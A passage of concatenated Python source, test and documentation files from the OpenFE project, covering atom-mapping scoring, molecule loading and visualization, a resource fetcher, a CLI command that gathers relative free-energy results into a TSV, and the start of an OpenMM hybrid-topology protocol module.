cli.get_installed_plugins() for plugin in plugins: assert isinstance(plugin, OFECommandPlugin) assert len(plugins) > 0 @pytest.mark.parametrize('with_log', [True, False]) def test_main_log(with_log): logged_text = "Running null command\n" logfile_text = "\n".join([ "[loggers]", "keys=root", "", "[handlers]", "keys=std", "", "[formatters]", "keys=default", "", "[formatter_default]", "format=%(message)s", "", "[handler_std]", "class=StreamHandler", "level=NOTSET", "formatter=default", "args=(sys.stdout,)", "" "[logger_root]", "level=DEBUG", "handlers=std" ]) runner = click.testing.CliRunner() invocation = ['null_command'] if with_log: invocation = ['--log', 'logging.conf'] + invocation expected = logged_text if with_log else "" with runner.isolated_filesystem(): with open("logging.conf", mode='w') as log_conf: log_conf.write(logfile_text) with null_command_context(main): result = runner.invoke(main, invocation) found = result.stdout_bytes assert found.decode('utf-8') == expected <file_sep>Core Models =========== This section introduces some of the more important objects you'll work with in OpenFE, including the models that represent chemistry and alchemical transformations, and the models that represent simulation protocols. This gives an introduction of the nomenclature and shows how various objects are related. .. toctree:: alchemical_network execution <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from typing import Callable from openfe.utils import requires_package from ...utils.silence_root_logging import silence_root_logging try: with silence_root_logging(): from perses.rjmc.atom_mapping import AtomMapper, AtomMapping except ImportError: pass # Don't throw error, will happen later from . import LigandAtomMapping # Helpfer Function / reducing code amount def _get_all_mapped_atoms_with(oeyMolA, oeyMolB, numMaxPossibleMappingAtoms: int, criterium: Callable) -> int: molA_allAtomsWith = len( list(filter(criterium, oeyMolA.GetAtoms()))) molB_allAtomsWith = len( list(filter(criterium, oeyMolB.GetAtoms()))) if (molA_allAtomsWith > molB_allAtomsWith and molA_allAtomsWith <= numMaxPossibleMappingAtoms): numMaxPossibleMappings = molA_allAtomsWith else: numMaxPossibleMappings = molB_allAtomsWith return numMaxPossibleMappings @requires_package("perses") def default_perses_scorer(mapping: LigandAtomMapping, use_positions: bool = False, normalize: bool = True) -> float: """ This function is accessing the default perses scorer function and returns, the score as float. Parameters ---------- mapping: LigandAtomMapping is an OpenFE Ligand Mapping, that should be mapped use_positions: bool, optional if the positions are used, perses takes the inverse eucledian distance of mapped atoms into account. else the number of mapped atoms is used for the score. default True normalize: bool, optional if true, the scores get normalized, such that different molecule pairs can be compared for one scorer metric, default = True *Warning* does not work for use_positions right now! Raises ------ NotImplementedError Normalization of the score using positions is not implemented right now. Returns ------- float """ score = AtomMapper(use_positions=use_positions).score_mapping( AtomMapping(old_mol=mapping.componentA.to_openff(), new_mol=mapping.componentB.to_openff(), old_to_new_atom_map=mapping.componentA_to_componentB)) # normalize if (normalize): oeyMolA = mapping.componentA.to_openff().to_openeye() oeyMolB = mapping.componentB.to_openff().to_openeye() if (use_positions): raise NotImplementedError("normalizing using positions is " "not currently implemented") else: smallerMolecule = oeyMolA if ( oeyMolA.NumAtoms() < oeyMolB.NumAtoms()) else oeyMolB numMaxPossibleMappingAtoms = smallerMolecule.NumAtoms() # Max possible Aromatic mappings numMaxPossibleAromaticMappings = _get_all_mapped_atoms_with( oeyMolA=oeyMolA, oeyMolB=oeyMolB, numMaxPossibleMappingAtoms=numMaxPossibleMappingAtoms, criterium=lambda x: x.IsAromatic()) # Max possible heavy mappings numMaxPossibleHeavyAtomMappings = _get_all_mapped_atoms_with( oeyMolA=oeyMolA, oeyMolB=oeyMolB, numMaxPossibleMappingAtoms=numMaxPossibleMappingAtoms, criterium=lambda x: x.GetAtomicNum() > 1) # Max possible ring mappings numMaxPossibleRingMappings = _get_all_mapped_atoms_with( oeyMolA=oeyMolA, oeyMolB=oeyMolB, numMaxPossibleMappingAtoms=numMaxPossibleMappingAtoms, criterium=lambda x: x.IsInRing()) # These weights are totally arbitrary normalize_score = (1.0 * numMaxPossibleMappingAtoms + 0.8 * numMaxPossibleAromaticMappings + 0.5 * numMaxPossibleHeavyAtomMappings + 0.4 * numMaxPossibleRingMappings) score /= normalize_score # final normalize score return score <file_sep>""" Tools for integration with miscellaneous non-required packages. shamelessly borrowed from openff.toolkit """ import functools from typing import Callable def requires_package(package_name: str) -> Callable: """ Helper function to denote that a funciton requires some optional dependency. A function decorated with this decorator will raise `MissingDependencyError` if the package is not found by `importlib.import_module()`. Parameters ---------- package_name : str The directory path to enter within the context Raises ------ MissingDependencyError """ def test_import_for_require_package(function: Callable) -> Callable: @functools.wraps(function) def wrapper(*args, **kwargs): import importlib try: importlib.import_module(package_name) except (ImportError, ModuleNotFoundError): raise ImportError(function.__name__ + " requires package: " + package_name) except Exception as e: raise e return function(*args, **kwargs) return wrapper return test_import_for_require_package <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from openfe.protocols import openmm_rfe from gufe.tests.test_tokenization import GufeTokenizableTestsMixin import pytest """ todo: - RelativeHybridTopologyProtocolResult - RelativeHybridTopologyProtocol - RelativeHybridTopologyProtocolUnit """ @pytest.fixture def protocol(): return openmm_rfe.RelativeHybridTopologyProtocol(openmm_rfe.RelativeHybridTopologyProtocol.default_settings()) @pytest.fixture def protocol_unit(protocol, benzene_system, toluene_system, benzene_to_toluene_mapping): pus = protocol.create( stateA=benzene_system, stateB=toluene_system, mapping={'ligand': benzene_to_toluene_mapping}, ) return list(pus.protocol_units)[0] @pytest.mark.skip class TestRelativeHybridTopologyProtocolResult(GufeTokenizableTestsMixin): cls = openmm_rfe.RelativeHybridTopologyProtocolResult repr = "" key = "" @pytest.fixture() def instance(self): pass class TestRelativeHybridTopologyProtocol(GufeTokenizableTestsMixin): cls = openmm_rfe.RelativeHybridTopologyProtocol key = "RelativeHybridTopologyProtocol-ba8bae8ffc0f48e0839312daa7e74e98" repr = f"<{key}>" @pytest.fixture() def instance(self, protocol): return protocol class TestRelativeHybridTopologyProtocolUnit(GufeTokenizableTestsMixin): cls = openmm_rfe.RelativeHybridTopologyProtocolUnit repr = "RelativeHybridTopologyProtocolUnit(benzene to toluene repeat 2 generation 0)" key = None @pytest.fixture() def instance(self, protocol_unit): return protocol_unit def test_key_stable(self): pytest.skip() <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from plugcli.params import MultiStrategyGetter, Option, NOT_PARSED def _load_molecule_from_smiles(user_input, context): from openfe import SmallMoleculeComponent from rdkit import Chem # MolFromSmiles returns None if the string is not a molecule # TODO: find some way to redirect the error messages? Messages stayed # after either redirect_stdout or redirect_stderr. mol = Chem.MolFromSmiles(user_input) if mol is None: return NOT_PARSED # TODO: next is (temporary?) hack: see # https://github.com/OpenFreeEnergy/Lomap/issues/4 Chem.rdDepictor.Compute2DCoords(mol) return SmallMoleculeComponent(rdkit=mol) def _load_molecule_from_sdf(user_input, context): if '.sdf' not in str(user_input): # this silences some stderr spam return NOT_PARSED from openfe import SmallMoleculeComponent try: return SmallMoleculeComponent.from_sdf_file(user_input) except ValueError: # any exception should try other strategies return NOT_PARSED def _load_molecule_from_mol2(user_input, context): if '.mol2' not in str(user_input): return NOT_PARSED from rdkit import Chem from openfe import SmallMoleculeComponent m = Chem.MolFromMol2File(user_input) if m is None: return NOT_PARSED else: return SmallMoleculeComponent(m) get_molecule = MultiStrategyGetter( strategies=[ _load_molecule_from_sdf, _load_molecule_from_mol2, # NOTE: I think loading from smiles must be last choice, because # failure will give meaningless user-facing errors _load_molecule_from_smiles, ], error_message="Unable to generate a molecule from '{user_input}'." ) MOL = Option( "-m", "--mol", help=("SmallMoleculeComponent. Can be provided as an SDF file or as a SMILES " " string."), getter=get_molecule ) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click import importlib import functools from typing import Callable, Optional from datetime import datetime import logging def import_thing(import_string: str): """Obtain an object from a valid qualname (or fully qualified name) Parameters ---------- import_string : str the qualname Returns ------- Any : the object from that namespace """ splitted = import_string.split('.') if len(splitted) > 1: # if the string has a dot, import the module and getattr the object obj = splitted[-1] mod = ".".join(splitted[:-1]) module = importlib.import_module(mod) result = getattr(module, obj) else: # if there is no dot, import and return the module mod = splitted[0] result = importlib.import_module(mod) return result def write(string: str): """ This is abstracted so that we can change output mechanism here and it will automatically update in all commands. """ click.echo(string) def _should_configure_logger(logger: logging.Logger): """Determine whether a logger should be configured. Separated from configure_logger for ease of testing. """ if isinstance(logger, logging.LoggerAdapter): logger = logger.logger if logger.hasHandlers(): return False # walk up the logging tree to see if any parent loggers are not default l = logger while ( l.parent is not None # not the root logger and l.level == logging.NOTSET # level not already set and l.propagate # configured to use parent when not set ): l = l.parent is_default = (l == logging.root and l.level == logging.WARNING) return is_default def configure_logger(logger_name: str, level: int = logging.INFO, *, handler: Optional[logging.Handler] = None): """Configure the logger at ``logger_name`` to be at ``level``. This is used to prevent accidentally overwriting existing logging configurations. This is particularly useful for setting INFO-level log messages to be seen in the CLI (with the default handler/formatter). Parameters ---------- logger_name: str name of the logger to configure level: int level to set the logger to use, typically one of the constants defined in the ``logging`` module. """ logger = logging.getLogger(logger_name) if _should_configure_logger(logger): logger.setLevel(level) if handler is not None: logger.addHandler(handler) def print_duration(function: Callable) -> Callable: """ Helper function to denote that a function should print a duration information. A function decorated with this decorator will print out the execution time of the decorated function. """ @functools.wraps(function) def wrapper(*args, **kwargs): start_time = datetime.now() result = function(*args, **kwargs) end_time = datetime.now() duration = end_time - start_time write("\tDuration: " + str(duration) + "\n") return result return wrapper <file_sep>import click from plugcli.plugin_management import CommandPlugin import urllib.request import importlib.resources import shutil from .utils import write import pathlib class _Fetcher: """Base class for fetchers. Defines the API and plugin creation. Parameters ---------- resources: Iterable[Tuple[str, str]] resources to be downloaded, as (source, filename) short_name: str name of the command used after openfe fetch short_help: str short help shown in openfe fetch --help long_help: str help shown in openfe fetch short_name --help requires_ofe: Tuple minimum version of OpenFE required """ REQUIRES_INTERNET = None def __init__( self, resources, short_name, short_help, requires_ofe, section=None, long_help=None ): self._resources = resources self.short_name = short_name self.short_help = short_help self.requires_ofe = requires_ofe self.section = section self.long_help = long_help @property def resources(self): yield from self._resources def __call__(self, directory: pathlib.Path): raise NotImplementedError() @property def plugin(self): """Plugin used by this fetcher""" docs = self.long_help or "" docs += "\n\nThis will fetch the following files:\n\n" # if you're getting a problem with unpacking here, you probably # forgot to make resources a list of tuple of (base, filename) for _, filename in self.resources: docs += f"* {filename}\n" if self.REQUIRES_INTERNET is True: short_help = self.short_help + " [requires internet]" section = "Requires Internet" elif self.REQUIRES_INTERNET is False: short_help = self.short_help section = "Built-in" else: # -no-cov- raise RuntimeError("Class must set boolean REQUIRES_INTERNET") @click.command( self.short_name, short_help=short_help, help=docs, ) @click.option( '-d', '--directory', default='.', help="output directory, defaults to current directory", type=click.Path(file_okay=False, dir_okay=True, writable=True), ) def command(directory): directory = pathlib.Path(directory) directory.mkdir(parents=True, exist_ok=True) self(directory) return FetchablePlugin( command, section=self.section, requires_ofe=self.requires_ofe, fetcher=self ) class URLFetcher(_Fetcher): """Fetcher for URLs. Resources should be (base, filename), e.g., ("https://google.com/", "index.html). """ REQUIRES_INTERNET = True def __call__(self, dest_dir): for base, filename in self.resources: # let's just prevent one footgun here if not base.endswith('/'): base += "/" write(f"Fetching {base}{filename}") with urllib.request.urlopen(base + filename) as resp: contents = resp.read() with open(dest_dir / filename, mode='wb') as f: f.write(contents) class PkgResourceFetcher(_Fetcher): """Fetcher for data included with the package Resources should be (package, filename), e.g., ("openfecli", "__init__.py"). """ REQUIRES_INTERNET = False def __call__(self, dest_dir): for package, filename in self.resources: ref = importlib.resources.files(package) / filename write(f"Fetching {str(ref)}") with importlib.resources.as_file(ref) as f: shutil.copyfile(ref, dest_dir / filename) # should work, but don't want to write tests yet or deal with typing # class MixedResourcesFetcher(_Fetcher): # @property # def REQUIRES_INTERNET(self): # return any([fetcher.REQUIRES_INTERNET # for fetcher in self._resources]) # @property # def resources(self): # for resource in self._resources: # yield from resource.resources # def __call__(self): # for fetcher in self._resources: # fetcher() class FetchablePlugin(CommandPlugin): """Plugin class for Fetchables. This includes the fetcher to simplify testing and introspection. """ def __init__(self, command, section, requires_ofe, fetcher): super().__init__(command=command, section=section, requires_lib=requires_ofe, requires_cli=requires_ofe) self.fetcher = fetcher @property def filenames(self): return [res[1] for res in self.fetcher.resources] <file_sep>import numpy as np from numpy.typing import NDArray from typing import Tuple, Union, Optional, Dict, Iterable from rdkit import Chem from rdkit.Geometry.rdGeometry import Point3D from matplotlib import pyplot as plt from matplotlib.colors import rgb2hex try: import py3Dmol except ImportError: pass # Don't throw error, will happen later from gufe.mapping import AtomMapping from gufe.components.explicitmoleculecomponent import ExplicitMoleculeComponent from openfe.utils import requires_package def _get_max_dist_in_x(atom_mapping: AtomMapping) -> float: """helper function find the correct mol shift, so no overlap happens in vis Returns ------- float maximal size of mol in x dimension """ posA = atom_mapping.componentA.to_rdkit().GetConformer().GetPositions() posB = atom_mapping.componentB.to_rdkit().GetConformer().GetPositions() max_d = [] for pos in [posA, posB]: d = np.zeros(shape=(len(pos), len(pos))) for i, pA in enumerate(pos): for j, pB in enumerate(pos[i:], start=i): d[i, j] = (pB - pA)[0] max_d.append(np.max(d)) estm = float(np.round(max(max_d), 1)) return estm if (estm > 5) else 5 def _translate(mol, shift:Union[Tuple[float, float, float], NDArray[np.float64]]): """ shifts the molecule by the shift vector Parameters ---------- mol : Chem.Mol rdkit mol that get shifted shift : Tuple[float, float, float] shift vector Returns ------- Chem.Mol shifted Molecule (copy of original one) """ mol = Chem.Mol(mol) conf = mol.GetConformer() for i, atom in enumerate(mol.GetAtoms()): x, y, z = conf.GetAtomPosition(i) point = Point3D(x + shift[0], y + shift[1], z + shift[2]) conf.SetAtomPosition(i, point) return mol def _add_spheres(view:py3Dmol.view, mol1:Chem.Mol, mol2:Chem.Mol, mapping:Dict[int, int]): """ will add spheres according to mapping to the view. (inplace!) Parameters ---------- view : py3Dmol.view view to be edited mol1 : Chem.Mol molecule 1 of the mapping mol2 : Chem.Mol molecule 2 of the mapping mapping : Dict[int, int] mapping of atoms from mol1 to mol2 """ # Get colourmap of size mapping cmap = plt.cm.get_cmap("hsv", len(mapping)) for i, pair in enumerate(mapping.items()): p1 = mol1.GetConformer().GetAtomPosition(pair[0]) p2 = mol2.GetConformer().GetAtomPosition(pair[1]) color = rgb2hex(cmap(i)) view.addSphere( { "center": {"x": p1.x, "y": p1.y, "z": p1.z}, "radius": 0.6, "color": color, "alpha": 0.8, } ) view.addSphere( { "center": {"x": p2.x, "y": p2.y, "z": p2.z}, "radius": 0.6, "color": color, "alpha": 0.8, } ) @requires_package("py3Dmol") def view_components_3d(mols: Iterable[ExplicitMoleculeComponent], style: Optional[str] ="stick", shift: Optional[Tuple[float, float, float]] = None, view: py3Dmol.view = None ) -> py3Dmol.view: """visualize multiple component coordinates in one interactive view. It helps to understand how the components are aligned in the system to each other. py3Dmol is an optional dependency, it can be installed with: pip install py3Dmol Parameters ---------- mols : Iterable[ExplicitMoleculeComponent] collection of components style : Optional[str], optional py3Dmol style, by default "stick" shift : Tuple of floats, optional Amount to i*shift each mols_i in order to allow inspection of them in heavy overlap cases. view : py3Dmol, optional Allows to pass an already existing view, by default None Returns ------- py3Dmol.view view containing all component coordinates """ if(view is None): view = py3Dmol.view(width=600, height=600) for i, component in enumerate(mols): mol = Chem.Mol(component.to_rdkit()) if(shift is not None): tmp_shift = np.array(shift, dtype=np.float64)*i mol = _translate(mol, tmp_shift) view.addModel(Chem.MolToMolBlock(mol)) view.setStyle({style: {}}) view.zoomTo() return view @requires_package("py3Dmol") def view_mapping_3d( mapping: AtomMapping, spheres: Optional[bool] = True, show_atomIDs: Optional[bool] = False, style: Optional[str] = "stick", shift: Optional[Union[Tuple[float, float, float], NDArray[np.float64]]] = None, ) -> py3Dmol.view: """ Render relative transformation edge in 3D using py3Dmol. By default matching atoms will be annotated using colored spheres. py3Dmol is an optional dependency, it can be installed with: pip install py3Dmol Parameters ---------- mapping : LigandAtomMapping The ligand transformation edge to visualize. spheres : bool, optional Whether or not to show matching atoms as spheres. show_atomIDs: bool, optional Whether or not to show atom ids in the mapping visualization style : str, optional Style in which to represent the molecules in py3Dmol. shift : Tuple of floats, optional Amount to shift molB by in order to visualize the two ligands. If None, the default shift will be estimated as the largest intraMol distance of both mols. Returns ------- view : py3Dmol.view View of the system containing both molecules in the edge. """ if shift is None: shift = np.array([_get_max_dist_in_x(mapping) * 1.5, 0, 0]) else: shift = np.array(shift) molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() # 0 * shift is the centrepoint # shift either side of the mapping +- a shift to clear the centre view lmol = _translate(molA, -1 * shift) rmol = _translate(molB, +1 * shift) view = py3Dmol.view(width=600, height=600) view.addModel(Chem.MolToMolBlock(lmol), "molA") view.addModel(Chem.MolToMolBlock(rmol), "molB") if spheres: _add_spheres(view, lmol, rmol, mapping.componentA_to_componentB) if show_atomIDs: view.addPropertyLabels( "index", {"not": {"resn": ["molA_overlay", "molA_overlay"]}}, { "fontColor": "black", "font": "sans-serif", "fontSize": "10", "showBackground": "false", "alignment": "center", }, ) # middle fig view.addModel(Chem.MolToMolBlock(molA), "molA_overlay") view.addModel(Chem.MolToMolBlock(molB), "molB_overlay") view.setStyle({style: {}}) view.zoomTo() return view <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import io import matplotlib from rdkit import Chem from typing import Dict, Tuple from openfe.utils.network_plotting import GraphDrawing, Node, Edge from gufe.visualization.mapping_visualization import ( draw_one_molecule_mapping, ) from openfe.utils.custom_typing import MPL_MouseEvent from openfe import SmallMoleculeComponent, LigandNetwork class AtomMappingEdge(Edge): """Edge to draw AtomMapping from a LigandNetwork. The ``select`` and ``unselect`` methods are implemented here to force the mapped molecule to be drawn/disappear. Parameters ---------- node_artist1, node_artist2 : :class:`.Node` GraphDrawing nodes for this edge data : Dict Data dictionary for this edge. Must have key ``object``, which maps to an :class:`.AtomMapping`. """ def __init__(self, node_artist1: Node, node_artist2: Node, data: Dict): super().__init__(node_artist1, node_artist2, data) self.left_image = None self.right_image = None def _draw_mapped_molecule( self, extent: Tuple[float, float, float, float], molA: SmallMoleculeComponent, molB: SmallMoleculeComponent, molA_to_molB: Dict[int, int] ): # create the image in a format matplotlib can handle d2d = Chem.Draw.rdMolDraw2D.MolDraw2DCairo(300, 300, 300, 300) d2d.drawOptions().setBackgroundColour((1, 1, 1, 0.7)) # TODO: use a custom draw2d object; figure size from transforms img_bytes = draw_one_molecule_mapping(molA_to_molB, molA.to_rdkit(), molB.to_rdkit(), d2d=d2d) img_filelike = io.BytesIO(img_bytes) # imread needs filelike img_data = matplotlib.pyplot.imread(img_filelike) ax = self.artist.axes x0, x1, y0, y1 = extent # version A: using AxesImage im = matplotlib.image.AxesImage(ax, extent=extent, zorder=10) # version B: using BboxImage # keep this commented code around for later performance checks # bounds = (x0, y0, x1 - x0, y1 - y0) # bounds = (0.2, 0.2, 0.3, 0.3) # bbox0 = matplotlib.transforms.Bbox.from_bounds(*bounds) # bbox = matplotlib.transforms.TransformedBbox(bbox0, ax.transAxes) # im = matplotlib.image.BboxImage(bbox) # set image data and register im.set_data(img_data) ax.add_artist(im) return im def _get_image_extents(self): # figure out the extent for left and right x0, x1 = self.artist.axes.get_xlim() dx = x1 - x0 left_x0, left_x1 = 0.05 * dx + x0, 0.45 * dx + x0 right_x0, right_x1 = 0.55 * dx + x0, 0.95 * dx + x0 y0, y1 = self.artist.axes.get_ylim() dy = y1 - y0 y_bottom, y_top = 0.5 * dx + y0, 0.9 * dx + y0 left_extent = (left_x0, left_x1, y_bottom, y_top) right_extent = (right_x0, right_x1, y_bottom, y_top) return left_extent, right_extent def select(self, event, graph): super().select(event, graph) mapping = self.data['object'] # figure out which node is to the left and which to the right xs = [node.xy[0] for node in self.node_artists] if xs[0] <= xs[1]: left = mapping.componentA right = mapping.componentB left_to_right = mapping.componentA_to_componentB right_to_left = mapping.componentB_to_componentA else: left = mapping.componentB right = mapping.componentA left_to_right = mapping.componentB_to_componentA right_to_left = mapping.componentA_to_componentB left_extent, right_extent = self._get_image_extents() self.left_image = self._draw_mapped_molecule(left_extent, left, right, left_to_right) self.right_image = self._draw_mapped_molecule(right_extent, right, left, right_to_left) graph.fig.canvas.draw() def unselect(self): super().unselect() for artist in [self.left_image, self.right_image]: if artist is not None: artist.remove() self.left_image = None self.right_image = None class LigandNode(Node): def _make_artist(self, x, y, dx, dy): artist = matplotlib.text.Text(x, y, self.node.name, color='blue', backgroundcolor='white') return artist def register_artist(self, ax): ax.add_artist(self.artist) @property def extent(self): txt = self.artist ext = txt.axes.transData.inverted().transform(txt.get_window_extent()) [[xmin, ymin], [xmax, ymax]] = ext return xmin, xmax, ymin, ymax @property def xy(self): return self.artist.get_position() class AtomMappingNetworkDrawing(GraphDrawing): """ Class for drawing atom mappings from a provided ligang network. Parameters ---------- graph : nx.MultiDiGraph NetworkX representation of the LigandNetwork positions : Optional[Dict[SmallMoleculeComponent, Tuple[float, float]]] mapping of node to position """ NodeCls = LigandNode EdgeCls = AtomMappingEdge def plot_atommapping_network(network: LigandNetwork): """Convenience method for plotting the atom mapping network Parameters ---------- network : :class:`.Network` the network to plot Returns ------- :class:`matplotlib.figure.Figure` : the matplotlib figure containing the iteractive visualization """ return AtomMappingNetworkDrawing(network.graph).fig <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click from openfecli import OFECommandPlugin import pathlib def is_results_json(f): # sanity check on files before we try and deserialize return 'estimate' in open(f, 'r').read(20) def load_results(f): # path to deserialized results import json from gufe.tokenization import JSON_HANDLER return json.load(open(f, 'r'), cls=JSON_HANDLER.decoder) def get_names(result) -> tuple[str, str]: # Result to tuple of ligand names nm = list(result['unit_results'].values())[0]['name'] toks = nm.split() if toks[2] == 'repeat': return toks[0], toks[1] else: return toks[0], toks[2] def get_type(res): list_of_pur = list(res['protocol_result']['data'].values())[0] pur = list_of_pur[0] components = pur['inputs']['stateA']['components'] if 'solvent' not in components: return 'vacuum' elif 'protein' in components: return 'complex' else: return 'solvent' def legacy_get_type(res_fn): if 'solvent' in res_fn: return 'solvent' elif 'vacuum' in res_fn: return 'vacuum' else: return 'complex' @click.command( 'gather', short_help="Gather result jsons for network of RFE results into a TSV file" ) @click.argument('rootdir', type=click.Path(dir_okay=True, file_okay=False, path_type=pathlib.Path), required=True) @click.option('output', '-o', type=click.File(mode='w'), default='-') def gather(rootdir, output): """Gather simulation result jsons of relative calculations to a tsv file Will walk ROOTDIR recursively and find all results files ending in .json (i.e those produced by the quickrun command). Each of these contains the results of a separate leg from a relative free energy thermodynamic cycle. Paired legs of simulations will be combined to give the DDG values between two ligands in the corresponding phase, producing either binding ('DDGbind') or hydration ('DDGhyd') relative free energies. These will be reported as 'DDGbind(B,A)' meaning DGbind(B) - DGbind(A), the difference in free energy of binding for ligand B relative to ligand A. Individual leg results will be also be written. These are reported as either DGvacuum(A,B) DGsolvent(A,B) or DGcomplex(A,B) for the vacuum, solvent or complex free energy of transmuting ligand A to ligand B. \b Will produce a **tab** separated file with 6 columns: 1) a description of the measurement, for example DDGhyd(A, B) 2) the type of this measurement, either RBFE or RHFE 3) the identifier of the first ligand 4) the identifier of the second ligand 5) the estimated value (in kcal/mol) 6) the uncertainty on the value (also kcal/mol) By default, outputs to stdout, use -o option to choose file. """ from collections import defaultdict import glob import numpy as np def dp2(v: float) -> str: # turns 0.0012345 -> '0.0012', round() would get this wrong return np.format_float_positional(v, precision=2, trim='0', fractional=False) # 1) find all possible jsons json_fns = glob.glob(str(rootdir) + '/**/*json', recursive=True) # 2) filter only result jsons result_fns = filter(is_results_json, json_fns) # 3) pair legs of simulations together into dict of dicts legs = defaultdict(dict) for result_fn in result_fns: result = load_results(result_fn) if result is None: continue elif result['estimate'] is None or result['uncertainty'] is None: click.echo(f"WARNING: Calculations for {result_fn} did not finish succesfully!", err=True) try: names = get_names(result) except KeyError: raise ValueError("Failed to guess names") try: simtype = get_type(result) except KeyError: simtype = legacy_get_type(result_fn) legs[names][simtype] = result['estimate'], result['uncertainty'] # 4a for each ligand pair, write out the DDG output.write('measurement\ttype\tligand_i\tligand_j\testimate (kcal/mol)' '\tuncertainty (kcal/mol)\n') for ligpair, vals in sorted(legs.items()): DDGbind = None DDGhyd = None bind_unc = None hyd_unc = None if 'complex' in vals and 'solvent' in vals: DG1_mag, DG1_unc = vals['complex'] DG2_mag, DG2_unc = vals['solvent'] if not ((DG1_mag is None) or (DG2_mag is None)): # DDG(2,1)bind = DG(1->2)complex - DG(1->2)solvent DDGbind = dp2((DG1_mag - DG2_mag).m) bind_unc = dp2(np.sqrt(np.sum(np.square([DG1_unc.m, DG2_unc.m])))) if 'solvent' in vals and 'vacuum' in vals: DG1_mag, DG1_unc = vals['solvent'] DG2_mag, DG2_unc = vals['vacuum'] if not ((DG1_mag is None) or (DG2_mag is None)): DDGhyd = dp2((DG1_mag - DG2_mag).m) hyd_unc = dp2(np.sqrt(np.sum(np.square([DG1_unc.m, DG2_unc.m])))) name = ", ".join(ligpair[::-1]) if DDGbind is not None: output.write(f'DDGbind({name})\tRBFE\t{ligpair[0]}\t{ligpair[1]}' f'\t{DDGbind}\t{bind_unc}\n') if DDGhyd is not None: output.write(f'DDGhyd({name})\tRHFE\t{ligpair[0]}\t{ligpair[1]}\t' f'{DDGhyd}\t{hyd_unc}\n') # 4b write out each leg for ligpair, vals in sorted(legs.items()): name = ', '.join(ligpair) for simtype, (m, u) in sorted(vals.items()): if m is None: m, u = 'NaN', 'NaN' else: m, u = dp2(m.m), dp2(u.m) output.write(f'DG{simtype}({name})\t{simtype}\t{ligpair[0]}\t' f'{ligpair[1]}\t{m}\t{u}\n') PLUGIN = OFECommandPlugin( command=gather, section='Quickrun Executor', requires_ofe=(0, 6), ) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """Equilibrium Relative Free Energy methods using OpenMM in a Perses-like manner. This module implements the necessary methodology toolking to run calculate a ligand relative free energy transformation using OpenMM tools and one of the following methods: - Hamiltonian Replica Exchange - Self-adjusted mixture sampling - Independent window sampling TODO ---- * Improve this docstring by adding an example use case. """ from __future__ import annotations import os import logging from collections import defaultdict import uuid import warnings import numpy as np from openff.units import unit from openff.units.openmm import to_openmm, from_openmm, ensure_quantity from openmmtools import multistate from typing import Optional from openmm import unit as omm_unit from openmm.app import PDBFile import pathlib from typing import Any, Iterable import openmmtools import mdtraj import gufe from gufe import ( settings, ChemicalSystem, LigandAtomMapping, Component, ComponentMapping, SmallMoleculeComponent, ProteinComponent, ) from .equil_rfe_settings import ( RelativeHybridTopologyProtocolSettings, SystemSettings, SolvationSettings, AlchemicalSettings, AlchemicalSamplerSettings, OpenMMEngineSettings, IntegratorSettings, SimulationSettings ) from ..openmm_utils import ( system_validation, settings_validation, system_creation ) from . import _rfe_utils from ...utils import without_oechem_backend logger = logging.getLogger(__name__) def _get_resname(off_mol) -> str: # behaviour changed between 0.10 and 0.11 omm_top = off_mol.to_topology().to_openmm() names = [r.name for r in omm_top.residues()] if len(names) > 1: raise ValueError("We assume single residue") return names[0] def _validate_alchemical_components( alchemical_components: dict[str, list[Component]], mapping: Optional[dict[str, ComponentMapping]], ): """ Checks that the alchemical components are suitable for the RFE protocol. Specifically we check: 1. That all alchemical components are mapped. 2. That all alchemical components are SmallMoleculeComponents. 3. If the mappings involves element changes in core atoms Parameters ---------- alchemical_components : dict[str, list[Component]] Dictionary contatining the alchemical components for states A and B. mapping : dict[str, ComponentMapping] Dictionary of mappings between transforming components. Raises ------ ValueError * If there are more than one mapping or mapping is None * If there are any unmapped alchemical components. * If there are any alchemical components that are not SmallMoleculeComponents. UserWarning * Mappings which involve element changes in core atoms """ # Check mapping # For now we only allow for a single mapping, this will likely change if mapping is None or len(mapping.values()) > 1: errmsg = "A single LigandAtomMapping is expected for this Protocol" raise ValueError(errmsg) # Check that all alchemical components are mapped & small molecules mapped = {} mapped['stateA'] = [m.componentA for m in mapping.values()] mapped['stateB'] = [m.componentB for m in mapping.values()] for idx in ['stateA', 'stateB']: if len(alchemical_components[idx]) != len(mapped[idx]): errmsg = f"missing alchemical components in {idx}" raise ValueError(errmsg) for comp in alchemical_components[idx]: if comp not in mapped[idx]: raise ValueError(f"Unmapped alchemical component {comp}") if not isinstance(comp, SmallMoleculeComponent): # pragma: no-cover errmsg = ("Transformations involving non " "SmallMoleculeComponent species {comp} " "are not currently supported") raise ValueError(errmsg) # Validate element changes in mappings for m in mapping.values(): molA = m.componentA.to_rdkit() molB = m.componentB.to_rdkit() for i, j in m.componentA_to_componentB.items(): atomA = molA.GetAtomWithIdx(i) atomB = molB.GetAtomWithIdx(j) if atomA.GetAtomicNum() != atomB.GetAtomicNum(): wmsg = ( f"Element change in mapping between atoms " f"Ligand A: {i} (element {atomA.GetAtomicNum()}) and " f"Ligand B: {j} (element {atomB.GetAtomicNum()})\n" "No mass scaling is attempted in the hybrid topology, " "the average mass of the two atoms will be used in the " "simulation") logger.warn(wmsg) warnings.warn(wmsg) # TODO: remove this once logging is fixed class RelativeHybridTopologyProtocolResult(gufe.ProtocolResult): """Dict-like container for the output of a RelativeHybridTopologyProtocol""" def __init__(self, **data): super().__init__(**data) # data is mapping of str(repeat_id): list[protocolunitresults] # TODO: Detect when we have extensions and stitch these together? if any(len(pur_list) > 2 for pur_list in self.data.values()): raise NotImplementedError("Can't stitch together results yet") def get_estimate(self): """Average free energy difference of this transformation Returns ------- dG : unit.Quantity The free energy difference between the first and last states. This is a Quantity defined with units. """ # TODO: Check this holds up completely for SAMS. dGs = [pus[0].outputs['unit_estimate'] for pus in 